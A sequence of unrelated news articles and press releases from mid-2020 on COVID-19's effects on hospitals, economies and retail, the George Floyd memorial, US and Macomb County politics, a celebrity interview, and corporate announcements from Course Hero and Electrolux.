Millenson points out there is still no requirement that hospitals reach a certain threshold on hand hygiene, only that they have a program in place to improve it.

"Almost as bad, the U.S. Centers for Disease Control doesn't monitor a national hand hygiene rate in hospitals, which often hovers in the 10 to 40 percent range," he says. "On average, U.S. health care providers clean their hands less than half the times they should, according to the most recent CDC study, which was 18 years ago."

But there is this bright spot: "I like to tell provider audiences, 'The good news is that we've made significant progress since Semmelweis' time. We no longer put people who insist on doctors washing their hands into an insane asylum,'" quips Millenson.

HowStuffWorks earns a small affiliate commission when you purchase through links on our site.

NOW THAT'S INTERESTING In the era of a pandemic, Semmelweis is seeing a resurgence in pop culture. He was honored with a Google Doodle in March 2020 and even his own opera, which premiered in 2018 and was livestreamed in May 2020.
Surgeons have accused hospitals of using the coronavirus pandemic as an excuse to block operations in order to save money.

The director of the pelvic floor unit at Western Sydney's Westmead Hospital, Dr Jenny King, claimed health district executives used the COVID-19 pandemic as an excuse to halt elective operations and slash budgets.

She wrote in her memorandum: 'Limiting elective surgery undoubtedly saves money but none of these measures serves our community. It is not acceptable to continue to hide behind COVID-19,' The Australian reported.

New South Wales doctors claim hospitals are blocking surgeries to save money. Dr Jenny King said parts of Westmead Hospital (pictured) are operating at less than 50 per cent capacity

Doctors claim the coronavirus pandemic is being used as an excuse to operate hospitals well below capacity. Pictured: A nurse performing a coronavirus examination in Brisbane

New South Wales has already begun to ease restrictions on elective surgeries and hospitals should be resuming 75 per cent of pre-pandemic activity levels by June 30.

Dr King said: 'In Women's Health we are operating at under 50 per cent of our previous level and I understand some specialties are only able to perform 25 per cent of necessary procedures.'

Another surgeon estimated that certain hospitals were underutilising operating theatres and even performing below pre-pandemic activity levels.

Dr Michael Levitt, an adviser on the NSW state committee of the Australian Society of Anaesthetists, told Daily Mail Australia: 'There's absolutely no justification of it but they're saving millions of dollars by not operating.

'In Westmead Hospital they're running about 30 to 40 per cent in some specialties and almost zero in orthopaedics.'

'The surgeons are all being strictly pressured not to breach the numbers criteria for elective surgery,' Dr Levitt explained.

He described the coronavirus pandemic as the 'perfect political cover'.

'They're saying we have to preserve personal protective equipment and prepare for a second wave.

CORONAVIRUS CASES IN AUSTRALIA: 27,244 Victoria: 20,269 New South Wales: 4,273 Queensland: 1,161 Western Australia: 692 South Australia: 473 Tasmania: 230 Australian Capital Territory: 113 Northern Territory: 33 TOTAL CASES: 27,244 ESTIMATED ACTIVE CASES: 269 DEATHS: 897 Updated: 5.31 PM, 11 October, 2020 Source: Australian Government Department of Health Advertisement

'The second wave is never going to happen and they know it's not going to happen. The only motivation here is the millions of dollars a week.

'It's a massive amount of saving for the government and the only motive is money saving,' he said.

Private Healthcare Australia estimated the waiting lists for elective surgeries at public hospitals would not return to pre-pandemic levels until June 2022.

Private hospital patients should also expect to experience delays in accessing surgery until March next year.

Private Healthcare Australia Chief Executive Dr Rachel David said patients would be prioritised based on clinical need.

She said in a statement: 'Elective surgery is currently being scheduled on the basis of clinical need and people who need elective surgery should speak with their treating medical specialist.'

Dr David said the conditions requiring urgent surgery included people in severe pain, people at risk of permanently losing a bodily function or people faced with significant deterioration if surgery is further delayed.

The Western Sydney Local Health District chief executive, Graeme Loy, told Daily Mail Australia: 'Western Sydney Local Health District is now providing more than 70 per cent of the previous surgical sessions.'

He said they were 'well-progressed towards the resumption of 75 per cent of elective surgery activity by 30.'

'The resumption of surgery adheres to the safety principles set by the National Cabinet, with a priority on PPE management, ICU capacity, prioritising our waitlisted patients and is not driven by financial performance,' Mr Loy said.

A spokesperson from NSW Health told Daily Mail Australia: 'All NSW Health Local Health Districts are now working toward increasing elective surgery to 75 per cent by 30 June.

'The return of surgery is being balanced with our preparation for further COVID-19 cases to ensure we maintain hospital capacity to manage the pandemic.'

'NSW Health acknowledges that the COVID-19 pandemic has affected access to elective surgery and appreciates their patience as we navigate these unprecedented times,' the spokesperson said.
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Linkedin Joy Powell and Chris Lefkow (Agence France-Presse) Minneapolis/Washington, United States  Fri, June 5, 2020 08:20 595 fc6853813033f564188675f8bdc45109 2 World George-Floyd,memorial-service,anti-racism-protests,anti-racism,racial-issues,racial-tension,racial-violence,Racism Free

Hundreds of mourners joined in an emotional memorial service on Thursday for George Floyd, the African-American man killed by police last week, as civil rights leader Al Sharpton vowed the mass protests ignited by his death would continue until "we change the whole system of justice" in the United States.

Floyd's attorney told mourners he would find justice for the 46-year-old Floyd, who died during a May 25 arrest when a white police officer knelt on his neck for nearly nine minutes.

"It was not the coronavirus pandemic that killed George Floyd," said Benjamin Crump, who is representing Floyd's family. "It was that other pandemic. The pandemic of racism and discrimination."

The crowd in Minneapolis stood in silence for the eight minutes and 46 seconds that officer Derek Chauvin spent with his knee on Floyd's neck, a scene captured on videotape.

Floyd's death has reignited long-felt anger over police killings of African-Americans and unleashed a nationwide wave of civil unrest unlike any seen in the US since King's 1968 assassination.

With demonstrations for racial justice sweeping through dozens of US cities and around the world, Sharpton said Floyd's death would not be in vain.

"It's time for us to stand up in George's name and say get your knee off our necks," said the 65-year-old Baptist minister.

"You changed the world George," he said. "We're going to keep fighting George."

"We're going to keep going until we change the whole system of justice."

"It doesn't matter if you wear blue jeans or a blue uniform you must pay for the crime you commit," Sharpton said, comparing Floyd's death to that of a black New York man, Eric Garner, who also gasped "I can't breathe" as a police officer held him in a chokehold.

Members of Floyd's family, the Reverend Jesse Jackson, Minnesota Governor Tim Walz, Minnesota Senator Amy Klobuchar and Minneapolis Mayor Jacob Frey were among several hundred people attending the service at North Central University in downtown Minneapolis.

Many of the mourners wore masks because of the coronavirus pandemic.

Minneapolis police chief Medaria Arradondo dropped to a knee as the hearse bearing Floyd's remains arrived for the service, streamed live to a large crowd gathered at the flower-covered site where Floyd died.

'Necessary and overdue'

A vigil for Floyd was also held in New York and was attended by thousands of people, including Floyd's brother, Terrence.

"White Silence is Violence," a sign read. "Make America Not Embarrassing Again," read another.

A Republican senator, Lisa Murkowski of Alaska, broke ranks with her party meanwhile and revealed she was struggling with whether to support President Donald Trump's re-election.

Murkowski said her move was prompted by remarks by Trump's former defense secretary James Mattis, who a day earlier delivered a biting assessment of the president.

Mattis called Trump "the first president in my lifetime who does not try to unite the American people -- does not even pretend to try."

"Instead, he tries to divide us," the retired Marine Corps general said.

"I thought General Mattis's words were true and honest and necessary and overdue," Murkowski told reporters.

Her comments mark a major break with Trump within the Republican camp, which has largely held together through various crises including his impeachment and current threat to use military force against protests.

Asked if she would support Trump in November's election, Murkowski said: "I am struggling with it."

Three of the four Minneapolis police officers who arrested Floyd for allegedly passing a counterfeit bill made their first court appearance on Thursday to face charges of aiding and abetting his murder.

Bail was set at $1 million each.

The fourth policeman, Chauvin, has been charged with second-degree murder and appeared before a judge last week.

'Cannot stop the call of history'

Democratic Congressman John Lewis, who marched with Martin Luther King Jr to fight segregation, echoed Sharpton's hope that Floyd's death could pave the way for "greater change."

"This feels and looks so different," the 80-year-old civil rights icon told "CBS This Morning." "It is so much more massive and all inclusive."

Lewis, who was brutally beaten on several occasions during the 1960s civil rights protests, condemned Trump's threat to use military force against demonstrators.

"I think it would be a serious mistake on the part of President Trump to use the military to stop orderly, peaceful, nonviolent protests," Lewis said. "You cannot stop, cannot stop the call of history."

While condemning Floyd's death, Trump has adopted a tough stance towards the protesters, saying they include many "bad people" and calling on governors to "dominate the streets."

Trump has raised the possibility of invoking the Insurrection Act to deploy active duty troops to quell the unrest but his own defense secretary, Mark Esper, said Wednesday that should only be a "last resort."

New barriers were being erected outside the White House on Thursday as the protests for racial justice and police reform entered a 10th day.

Some of the protests were marred by rioting and looting in the early days but they have been mostly peaceful since then.

Curfews imposed in Los Angeles and Washington were lifted on Thursday.
George H. W. Bush was the U.S. president when Australia last went into recession in 1991. That proud record of almost 30 years of uninterrupted growth has come to a shuddering halt. In a recession an economy shrinks, or goes into reverse.

The coronavirus shutdown and the summer bushfires have ended Australia's run of 29 years of uninterrupted economic growth. Gross domestic product, or national income, for the March quarter fell, dragging Australia into recession for the first time since the early 1990s.

Latest figures show the Australian economy was in trouble before the COVID-19 outbreak after a devastating bushfire season, a slowdown in tourism and weak domestic demand. The pandemic has only added to the decline.

Lockdown restrictions to stem the spread of the coronavirus saw thousands of businesses forced to close, including gyms, cafes, theaters and shops. Unemployment is expected to double to 10 percent, and massive financial stimulus packages have sent national debt soaring.

The government is warning that the outlook for the months ahead is dire. However, Australia appears in better shape than other G7 and other Asian countries, which have had much bigger falls in national income.

"What we were facing was an economist's version of Armageddon," Federal Treasurer Josh Frydenberg said. "We have avoided the economic fate and the health fate of other nations because of the measures that we have taken as a nation. Now, the June quarter, the economic impact will be severe."

The governor of the Reserve Bank, Philip Lowe, said Australia was facing the toughest conditions since the Great Depression. But he, too, said it was "possible that the depth of the downturn will be less than earlier expected."

These are anxious times for many Australians. As unemployment increases, many of those in work are feeling greater job insecurity and face higher levels of household debt. All this against a backdrop of fears of a potential second COVID-19 outbreak.

Australia has recorded just over 7,200 confirmed coronavirus cases. The majority of patients have recovered, but 102 have died. Various lockdown restrictions, including the reopening of schools, bars, cafes and beauty salons are being gradually eased across the country.
At a time when the Delhi government is locked in a row with RML Hospital over coronavirus testing, and is probing several private labs for testing asymptomatic patients, a vascular surgeon's plea to allow unhindered testing has gone viral on Twitter.

At a time when the Delhi government is locked in a row with RML Hospital over coronavirus testing, and is probing several private labs for testing asymptomatic patients, a surgeon's plea to allow unhindered testing has gone viral on Twitter.

Ambarish Satwik, a vascular surgeon, put out a detailed thread why instinctive testing as prescribed by doctors is necessary even if it lies outside the guidelines issued by the Indian Council of Medical Research (ICMR).

Thread. Consider this a plea. Busy hospitals (some of them designated covid hospitals) and labs are being probed and barred from covid testing in the middle of a pandemic for testing asymptomatic cases (particularly those being admitted for other reasons). 1/n  Ambarish Satwik (@AmbarishSatwik) June 5, 2020

Satwik said that any unrelated surgery on an asymptomatic COVID-19 patient can be catastrophic, because research shows a high risk of pulmonary complication in COVID-19 patients who underwent surgery.

"Surgical patients: as will be evident in this Lancet paper, the 30 day mortality in patients who tested positive for COVID is 23.8 percent. Pulmonary complications occurred in 51.2 percent cases. It is catastrophic to operate in the times of COVID-19, if the patient is COVID-19 positive," Satwik said quoting a Lancet study.

The study in question noted that postoperative pulmonary complications occurred in at least half of patients who underwent surgery but were later found to be coronavirus positive. The study also linked surgery on COVID-19 patients with higher mortality.

"Consideration should be given for postponing non-urgent procedures and promoting non-operative treatment to delay or avoid the need for surgery," the study notes, indicating that COVID-19 testing may well be an instrumental part of pre-operative procedures, and may help doctors a vital call on whether or not to attempt surgical procedures.

Satwik also pointed out, "Hospitals are duty bound to prevent COVID-19 cross-infections as those sick enough to be admitted (for other conditions) in the middle of a pandemic constitute the most vulnerable cohort."

Satwik also suggested that the ICMR guidelines being adhered to in stopping hospitals from testing may well be dated.

"The ICMR document outlining strategy for COVID-19 testing in India hasnt been updated since 18 May, 2020. We are smack bang in the middle of community transmission and according to the said document, even a patient with symptoms of Influenza-like illness (not residing in a containment zone and not a contact of a lab confirmed case) cannot get tested for COVID-19. I would submit that the ICMR guidelines on testing should not be considered as revealed commandments from a deity that are unalterable and cannot be questioned or challenged, particularly when youre armed with evidence and scientific data that flies in its face," he said.

Satwik's tweets come at a time when the Delhi government is caught in a verbal spat with the Central Government-run Ram Manohar Lohia Hospital over COVID-19 testing. The Delhi government alleges that the RML RML Hospital was giving out "erroneous" COVID-19 test results and violating government norms of submitting the same within 48 hours, a claim denied by the hospital and Union Health Minister Harsh Vardhan.

Addressing a press conference in the National Capital, AAP spokesperson Raghav Chadha said the Delhi government re-tested 30 samples from Ram Manohar Lohia (RML) Hospital which were declared COVID-19 positive.

He said 12 of these samples were found to be negative and the result of two samples was inconclusive.

The RML Hospital, in a statement, however, said the dates of sampling were different and there was a gap of 7-14 days when resampling was done. It said quality checks are being done with the All India Institute of Medical Sciences (AIIMS) and the National Centre for Disease Control (NCDC) and the results are concordant.

The hospital also maintained that there was no backlog anymore and regular quality checks were being done.

"We are doing quality checks with AIIMS and NCDC and the results are concordant. Our positivity is more as all hotspot cases, family clusters and high-risk contacts of lab confirmed cases are more in our screening centre. Also, we do not have any backlog now. The problem existed earlier when adequate testing kits were not available," it said in a statement.

Chadha had earlier alleged that there was an error of 45 percent in RML's coronavirus testing.

The Delhi government has also initiated a probe against eight testing labs, seven private and one government-run, for allegedly collecting samples against ICMR protocol, The Times of India reported.

The government ordered chief district medical officers to suspend the registration of all phlebotomists  personnel who collect samples  associated with these labs, pending investigation. These labs wont be able to collect samples for testing on their own and the state would not send them samples for testing, the report said.

This comes despite the fact that testing remains lowest in India when compared to other nations badly hit with the virus.

According to Worldometer, a platform that compiles crucial coronavirus metrics from around the world, India ranks seventh amongst nations worst hit by the pandemic and has the worst testing rate per million population when compared to all other nine nations. For perspective, India (rank 7) tests 3,181 people out of every one million people, whereas Turkey (rank 10) is testing 26,220 people per million population; US (ranked 1) is conducting 59,197 tests per million population.

With inputs from PTI
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Michael Pack speaks at his nomination hearing at the Dirksen Senate Office Building at the U.S. Capitol in Washington, on Sept. 19, 2019. (Screenshot of hearing video/U.S. Senate Committee on Foreign Relations)

Senate Confirms Trumps Pick, Michael Pack, to Lead Voice of America, Government Broadcasters

The Senate voted on Thursday to confirm President Donald Trumps nominee, Michael Pack, to run the U.S. Agency for Global Media (USAGM), which oversees the Voice of America (VOA) radio network and other U.S. government-funded international broadcasters.

The vote of 53-38 comes after two years of opposition from Senate Democrats. The Republican-led Senate voted almost entirely along party lines, with Sen. Joe Manchin (D-W.Va.) being the only Democrat to vote in favor of the nomination. Trump had nominated Pack two years ago to lead the USAGMformerly called the Broadcasting Board of Governors.

Pack, a filmmaker and former educator, will serve for three years as the USAGMs first Senate-confirmed CEOa position created with bipartisan support. The USAGM oversees VOA and its sister outlets, including Radio Free Europe/Radio Liberty, Radio Free Asia, and the Cuba-oriented Radio and Television Marti.

Congratulations to Michael Pack! Nobody has any idea what a big victory this is for America, Trump announced on Twitter late Thursday.

Why? Because he is going to be running the [Voice of America] and everything associated with it, the president continued. Michael is Tough, Smart, and Loves our Country. This has been a big battle in Congress for 25 years. Thank you to our Great Republican Senate!

Michael is Tough, Smart, and Loves our Country. This has been a big battle in Congress for 25 years. Thank you to our Great Republican Senate! @SenateCloakroom  Donald J. Trump (@realDonaldTrump) June 4, 2020

Democrats on the Senate Foreign Relations Committee tried unsuccessfully eight times to postpone consideration for the nomination of Pack two weeks ago. An initial committee vote was delayed in early May, after the attorney general for the city of Washington opened a civil investigation into whether Pack misused funds from his nonprofit Public Media Lab at his film company, Manifold Productions, which recently released a documentary on conservative Supreme Court Justice Clarence Thomas.

In September 2019 at his nomination hearing, Pack told the Senate Foreign Relations Committee that if confirmed, he would address the scandals besetting USAGM, which include accusations of bribery, anti-semitism, and malfeasance by a senior official. He said he would seek to make sure the so-called scandals cease and dont occur in the future.

Such scandals occurred under the leadership of VOA director Amanda Bennett, an Obama appointee, and John Lansing, another Obama appointee. Lansing, now the CEO of NPR, was made CEO of the USAGM but never faced Senate confirmation.

In October 2018, VOA fired 15 of its employees from its Hausa language service after they were alleged to have accepted bribes from a Nigerian official. In the same month, the USAGM launched an investigation into an anti-Semitic television segment produced by the Spanish-language Office of Cuba Broadcasting, which directs Radio and Television Marti. Haroon Ullah, a former State Department official and and senior employee of the USAGM while under Lansing, was sentenced in November 2019 to three months in prison for stealing government funds.

USAGM Watch, an independent watchdog group of the agency, noted that besides the multiple management and programming scandals, the current VOA management team under Bennetts leadership has alienated Iranian-American and Chinese-American communities by allowing VOA to repeat propaganda from authoritarian regimes in Iran and Chinaan allegation Bennett has strongly denied.

The group also noted that Trump has criticized VOAs current management.

The Trump administration in April accused VOA of amplifying Chinese Communist Party (CCP) propaganda about the spread of the CCP virus, a novel coronavirus that is reported to have emerged in late 2019 in Wuhan, China.

At the time, the White House cited two examples where VOA had allegedly promoted CCP propaganda about the CCP virus. VOA later released a detailed statement in response to the White House allegations, pointing out that the outlet has regularly exposed Chinese disinformation related to the CCP virus.

VOA was created during World War II with the goal of airing unbiased news to combat Nazi propaganda and promote American values to the world.

At his nomination hearing, Pack said that he would ensure journalistic independence.

The whole agency rests on the belief the reporters are independent, that no political influence is telling them how to report the news and what to say, Pack said. Without that trust, I think, the agency is completely undermined. So, I think that is a bedrock principle.

Pack said at the nomination hearing that there is a need to make some decisions that keep the work of this agency in line with what the U.S. global interests are, but added that the first principle has to be the editorial independence of journalists in the field, and no one should be telling them what to report or how to shade the news.

The Associated Press and Reuters contributed to this report.

Read More White House Accuses Voice of America of Spreading CCP Propaganda
C ate Blanchett has revealed that she suffered a minor chainsaw accident while isolating at her Sussex home.

The actress, 51, admitted that she had been left with a little nick to the head after the incident in an appearance on former Australian Prime Minister Julia Gillards podcast, A Podcast Of Ones Own.

When Gillard, 58, asked the Oscar winner how she was finding the lockdown period, she answered: I'm fine. I had a bit of a chainsaw accident yesterday, which sounds very, very exciting, but it wasn't.

Apart from the little nick to the head, I'm fine.

Gillard, the former leader of Australias Labour Party, advised Blanchett to be very careful with that chainsaw, adding: You've got a very famous head, I don't think people would like to see any nicks taken out of it.

Dave Benett

In the interview, Blanchett opened up about life in lockdown with her family, playwright Andrew Upton and their children Dashiell, 18, Roman, 16, Ignatius, 12, and Edith, five.

The star revealed that she had taken a year off from work to be with her eldest son Dashiell and support him through exam period as he took his A-Levels, however coronavirus has meant that his exams have been cancelled.

And then all of this exam stuff evaporated [as schools closed] and I'm left with an 18-year-old who doesn't really want to have anything to do with me! she joked.

Don Arnold/Getty Images

Blanchett with husband Andrew Upton (Don Arnold/Getty Images)

"So it's a little bit discombobulating, but it's a high-class problem, we're all well."

Celebrities make a show of thanks for frontline NHS key workers 1 /9 Celebrities make a show of thanks for frontline NHS key workers Daniel Craig and Phoebe Waller-Bridge were among stars featuring in celebrity show of thanks to the NHS NHS/Twitter PA PA PA PA PA Fleabag's Phoebe Waller-Bridge was among stars who join in a show of thanks for NHS workers on the frontline of the Covid-19 crisis NHS/Twitter

She said she is now focusing on being a kindergarten teacher to my five-year-old, which is just as challenging.

I have a huge respect for the teaching profession, she added. I always have.

The family were previously based in Blanchetts home country Australia but moved to the United Kingdom in 2016.

Blanchett was working on Guillermo del Toros upcoming horror movie Nightmare Alley, which also features Bradley Cooper and her Carol co-star Rooney Mara, before production was suspended due to the coronavirus pandemic.
Retailers are warning of rumblings among them that shops will defy the Governments road map on easing lockdown restrictions by reopening early as fears mount of businesses collapsing during the months-long closure.

Business group Retail Excellence said it was lobbying Government to bring forward the reopening of shopping centres from August 10 to July 29 so that it can still control the easing of restrictions.

Jean McCabe, the groups deputy chairwoman, also claimed a limited reopening of shops on Monday, under phase two of the road map, will lead to a pent up demand on a smaller shopping footprint which, she said, would make social distancing more difficult.

We have been lobbying (government) to reconsider the opening dates for shopping centres, bring them forward and spread that pent up demand across a larger retail footprint which would make social distancing much much easier, she said.

Ms McCabe said the limited reopening expected next week would mean people travelling to their favourite shops and larger queues.

Stores in shopping centres, which are currently scheduled to reopen in August, could not sit back and watch their competitors with street entrances flourish while their losses mount, she suggested.

Some retailers just can not wait, they have been closed for such a period of time, and there are rumblings that some just wont wait, she told RTEs Morning Ireland.

Imagine being a footwear retailer with a store full of summer sandals, and you were watching your competitor sell out his stock for the next two months while you remain closed.

So we are urging government to reconsider that (date), and bring it back. It would also allow a situation where government can still control the reopening.

We just fear that some stores just wont be able to wait that long and will open sooner, contrary to the governments directive.

Ms McCabe said there is a serious liquidity issue for many retailers.

Unfortunately we are going to see some casualties as a result, she added.

Minister for Business Heather Humphreys suggested mitigating measures to discourage groups gathering in shopping centres could be considered as part of a plan to reopen them.

I fully understand the concerns of retailers in shopping centres. I understand the points they are making and have been engaging with them. Obviously I will be making the case for them, she said.

But on the other side there is a public health concern around people congregating in confined spaces. Maybe we can look at mitigating measures that we can take to deal with that.

Ms Humphreys said she would be raising the issue at Cabinet today.

Asked if Government would move to shut down shops which defy the restrictions, she said: Businesses have cooperated with Government throughout this, and I expect they would continue to do so. By doing so they made sacrifices, but it has also meant that we have been able to get this virus under control.

Ms Humphreys said she didnt have an estimate for the number of businesses that will collapse as a result of the lockdown, but urged any small retailers reopening on Monday to apply for the governments restart grant and wage subsidy scheme.
Washington, June 5 : Benjamin Crump, the lawyer for the family of George Floyd, who died under police custody on May 25 in Minneapolis, said that it was the "pandemic of racism" that killed the unarmed African-American man.

"It was not the coronavirus pandemic that killed George Floyd," Xinhua news agency quoted Crump as saying on Thursday during the first memorial for Floyd since his brutal killing.

"The other pandemic that we're far too familiar with in America, the pandemic of racism and discrimination that killed George Floyd." An autopsy report issued by the Hennepin County Medical Examiner's Office on Wednesday revealed that Floyd had tested positive for the novel coronavirus on April 3.

Hennepin's medical examiner ruled that the death was caused due to "cardiopulmonary arrest" when Floyd was restrained by several police officials on May 25.

Two earlier autopsies found that Floyd's death was a homicide. However, they differed on the question of the cause of death.

An independent autopsy commissioned by Floyd's family found that he died due to "asphyxiation from sustained pressure".

In a packed auditorium on Thursday at North Central University in downtown Minneapolis, the Floyd family, civil rights advocates, Minnesota state officials, and federal lawmakers including Senator Amy Klobuchar and Representative Ilhan Omar, as well as celebrities, gathered to pay tributes.

"We don't want two justice systems in America. One for black and one for white," Crump said, echoing his own words a day earlier ahead of the announcement of charges against the cops involved.

"What we endeavour to achieve is equal gestures for the United States of America." Prior to the memorial, hundreds of Minneapolis residents paid their tribute to Floyd by laying wreaths at a makeshift memorial site near the store where he died.

"All these people came to see my brother. And that is amazing to me that he touched so many people's hearts," the victim's brother Philonise Floyd said at the memorial.

"Everybody wants justice, we want justice for George. He's going to get it. He's going to get it," he said.

Floyd's death has instigated nationwide protests against police abuse and racial discrimination at a time when the nation is still grappling with the spread of the coronavirus.

Although violent rioting has by and large subsided, peaceful demonstrations continued following Wednesday's announcement that Derek Chauvin, the one who kept kneeling on Floyd's neck even as he lost consciousness, was charged with second-degree murder, and that the three others received charges of aiding and abetting murder.

"I'm proud of the protests, but I'm not proud of the destruction. My brother wasn't about that," Terrace Floyd, another brother the victim, said in Brooklyn, New York, where a memorial service was being held simultaneously.

At the Minneapolis memorial, civil rights activist Alfred Sharpton said the reason African Americans have been marginalized is that the country kept its "knee on our necks".

"We had creative skills, we could do whatever anybody else could do, but we couldn't get your knee off our neck," he said.

"What happened to Floyd happens every day in this country, in education, in health services, and in every area of American life. It is time for us to stand up in George's name and say, get your knee off our necks."

-- The story has been published from a wire feed without any modifications to the text
The political battle to replace disgraced Macomb County prosecutor Eric Smith has drawn a smorgasbord of candidates.

Smith resigned earlier this year from his $157,716 post after being charged with 10 felonies for misusing public forfeiture funds. He has been arraigned and is awaiting trial. If convicted, he faces up to 20 years in prison.

Among the seven candidates, two Republicans and five Democrats, on the August primary ballot are a retired circuit court judge featured on television on Dateline, The Doctors and Face the Truth; a state senator ordered to undergo training after allegations of sexual harassment; the wife of a current Macomb circuit court judge; a Pakistani-American woman believed to be the first Muslim to run for prosecutor in Michigan; a former assistant prosecutor who retired in 2014; and a lawyer who previously ran unsuccessfully for county clerk.

Macomb County voters over the years have earned the reputation of electing some rather odd, often unfit for public service, characters.

Of course, serving as prosecutor requires a law degree so you cant argue educational qualifications.

But if voters do their homework, there is one candidate who stands above the others.

A man who has spent thousands of hours working to enhance the reputation of attorneys.

That person is Thomas Rombach, who is seeking the Democratic nomination in the Aug. 4 primary.

I first met Rombach more than a decade ago when he made an appointment to meet with editors and reporters at The Macomb Daily.

Lawyers asking to meet privately with the media are rare. Usually its to complain about a news report or to pitch a story they think was overlooked.

Rombach wanted neither. He was conducting a newsroom seminar on behalf of the State Bar of Michigans Law & Media Committee.

Rombach, with other attorneys and two award-winning reporters, provided information on how lawyers and journalists can work together to provide information to the public.

It was an impressive program.

For Rombach it was one of the many career duties he would fulfill on his way to becoming president of the State Bar of Michigan in 2014.

Rombach, who handles criminal and civil cases from his law office in New Baltimore, has served on many legal, civic and charitable organizations.

He is a former president of the Macomb County Bar Association and has served on numerous committees for the State Bar.

He was honored with the Macomb County Outstanding Volunteer Award in 2004, the Macomb County Pro Bono Service for Senior Citizens Award in 2007 and the Macomb County Bar Associations Distinguished Public Service Award in 2011. He served on the Macomb Charter Commission, which resulted in the current executive form of government, and the Macomb County Board of Commissioners. His dedication to service is exemplified by his perfect attendance on both commissions.

The person elected to follow Eric Smiths alleged reign of deception has to be a trusted leader whose ethics are beyond reproach.

Said Rombach: Macomb County deserves a prosecutor who is singularly focused on protecting the public. Restoring public confidence in the integrity of the office is the most critical mission of the next Macomb County prosecutor. I believe I have the requisite knowledge, temperament, diligence, skills and experience to capably serve

Ray Glime is a retired lawyer who spent nearly three years as an assistant prosecutor before leaving and eventually establishing a prestigious law practice in downtown Mount Clemens.

Glime noted that Rombach, 62, and a resident of Clinton Township, was named a Super Lawyer, a designation given to less than five percent of attorneys in Michigan.

I call Tom a lawyers lawyer, Glime said. Hed be a great prosecutor and someone who would restore the departments reputation to where it belongs.

Thomas Rombach might not have the name recognition of some of his opponents, but he has the best credentials to serve as Macomb County prosecutor.

Ken Kish, a retired Macomb Daily editor and contributing columnist, may be reached at Kennethkish12@gmail.com.
REDWOOD CITY, Calif., June 5, 2020 /PRNewswire/ -- Course Hero today announced a $500,000 donation for student aid to the Dear Class of 2020 Fund, immediately doubling its commitment to provide targeted financial assistance to students affected by the COVID-19 pandemic. The investment will be announced in conjunction with the Dear Class of 2020, a virtual graduation event that will be broadcast live on YouTube on Sunday, June 7. The event will feature remarks from former President Barack Obama and former First Lady Michelle Obama, Bill and Melinda Gates, Malala, former U.S. Secretary of State Condoleezza Rice, Beyonce Knowles-Carter, Lady Gaga and other internationally-celebrated performing artists.

"This is about celebrating the accomplishments of all students who have overcome adversity, injustice and a system that is still stacked against them in so many ways," said Andrew Grauer, CEO and founder of Course Hero. "Backing emergency aid efforts is emblematic of our mission. At a time when so many of our students are struggling, we are deeply honored to support this nationwide effort to take action for and celebrate the Class of 2020. We are excited to play a small role in promoting unity and healing."

A collaboration led by former First Lady Michelle Obama's Reach Higher initiative and YouTube, Dear Class of 2020 will showcase student stories and feature graduates around the world.

Course Hero will make a $500,000 donation for student aid through the Dear Class of 2020 Fund. The fund, launched by YouTube, Google.org, and Reach Higher, will support grant recipients Beyond12 and Scholarship America. In May 2020, Course Hero launched an emergency aid network in collaboration with national nonprofit Believe in Students , Edquity a technology platform designed to administer emergency aidand five national nonprofits selected to ensure that funds support high need students and institutions.

To date, the network has already distributed more than $300,000 in emergency aid funds to students at 38 institutions, through the efforts of partners which include the American Association of State Colleges and Universities, Achieving the Dream, Excelencia in Education, the United Negro College Fund and the University Innovation Alliance.

Despite massive federal investments in emergency student aid, millions of students and recent graduates are struggling with food insecurity, housing, and securing job and internship offers as the nation continues to combat the public health and economic challenges stemming from the pandemic. Nearly 1.5 million students were not eligible to receive support, according to recently published CARES Act guidance. Students excluded from access to critical emergency support include Dreamers, justice-impacted students, former foster-care youth, international students, students who have been forced from their homes, or are estranged from their parents.

Founded by college student, Andrew Grauer, in 2006, Course Hero is on a mission to help students graduate confident and prepared. Today, Course Hero's unique, collective action framework enables students to either subscribe, or contribute their own resources to earn a Netflix-like subscription to more than 40 million course materials, tutoring and support resources. More than 40,000 faculty across the U.S. and Canada have joined the Course Hero faculty community to share their resources, collaborate with faculty in other fields, and hone new strategies for instruction.

About Course Hero: Course Hero is an online learning platform where you can access over 30 million course-specific study resources contributed by a community of students and educators. You'll find practice problems, study guides, videos, class notes, and step-by-step explanations for every subject you're studying  from economics to literature, biology to history, accounting to psychology, and everything in between. We help you quickly find what you need so you can learn deeply.

Contact: [email protected]

SOURCE Course Hero

Related Links

https://www.coursehero.com


STOCKHOLM, June 5, 2020 /PRNewswire/ -- Electrolux today announces a plan to replace all high-impact greenhouse gases in all of its appliances by 2023 at the latest, as part of its commitments to the United Nations global Cool Coalition initiative. The plan, which helps Electrolux deliver on its objective to significantly reduce its climate footprint over the coming decades, is one of the actions taken under the company's Better Living Program.

As global temperatures rise, the transformation of cooling technology will make a big contribution to the fight against climate change. The phase-out of powerful climate-warming gases known as hydrofluorocarbons (HFCs) has the potential to avoid up to 0.4C of global warming by 2100. HFCs are often used in refrigerators, air conditioners and other cooling devices, as well as tumble dryers and washer dryers with heat pumps.

Now Electrolux is accelerating the transition from these gases by submitting a phase out plan to the global UN initiative Cool Coalition. The commitment is a plan for replacing the high-impact greenhouse gases in all appliances with gases that have a lower climate impact, such as natural gases with very low global warming impact. By 2023 this plan will be complete.

"The appliance industry is one of the sectors with a vital behind-the-scenes role in the fight against the coronavirus pandemic as refrigerators, washing machines or air conditioners are essential products in people's lives. Although these are uncertain times for business, we believe addressing climate change by reducing greenhouse gases remains one of the most urgent challenges for society. We are encouraging other companies in our industry to join us as we all share the same responsibility," says Jonas Samuelson, CEO Electrolux.

Electrolux has far-reaching ambitions to reduce its climate impact, ranging from a science-based target to reduce CO2 emissions from products with 25% by 2025, to becoming fully climate neutral throughout the value chain by 2050.

Widening the scope of its sustainability strategy, Electrolux in 2019 also launched the Better Living Program, an initiative to enable better and more sustainable living for consumers around the world through 2030. Today's announcement will contribute to the program, not least the target to make homes healthier and more sustainable through smart solutions for air, water and floors. (The target has been redefined subsequent to the launch, read more here).

The GWP (Global Warming Potential) reduction plan that Electrolux has presented to the UN outlines the switch to lower global warming potential gases in all product lines. For more details of the plan, please see: https://www.electroluxgroup.com/en/electrolux-and-the-uns-cool-coalition-30536/

Electrolux joined the UN Cool Coalition in 2019. For more information about the UN Cool Coalition initiative: https://coolcoalition.org/

CONTACT:

For further information, please contact Electrolux Press Hotline, +46-8-657-65-07.

This information was brought to you by Cision http://news.cision.com

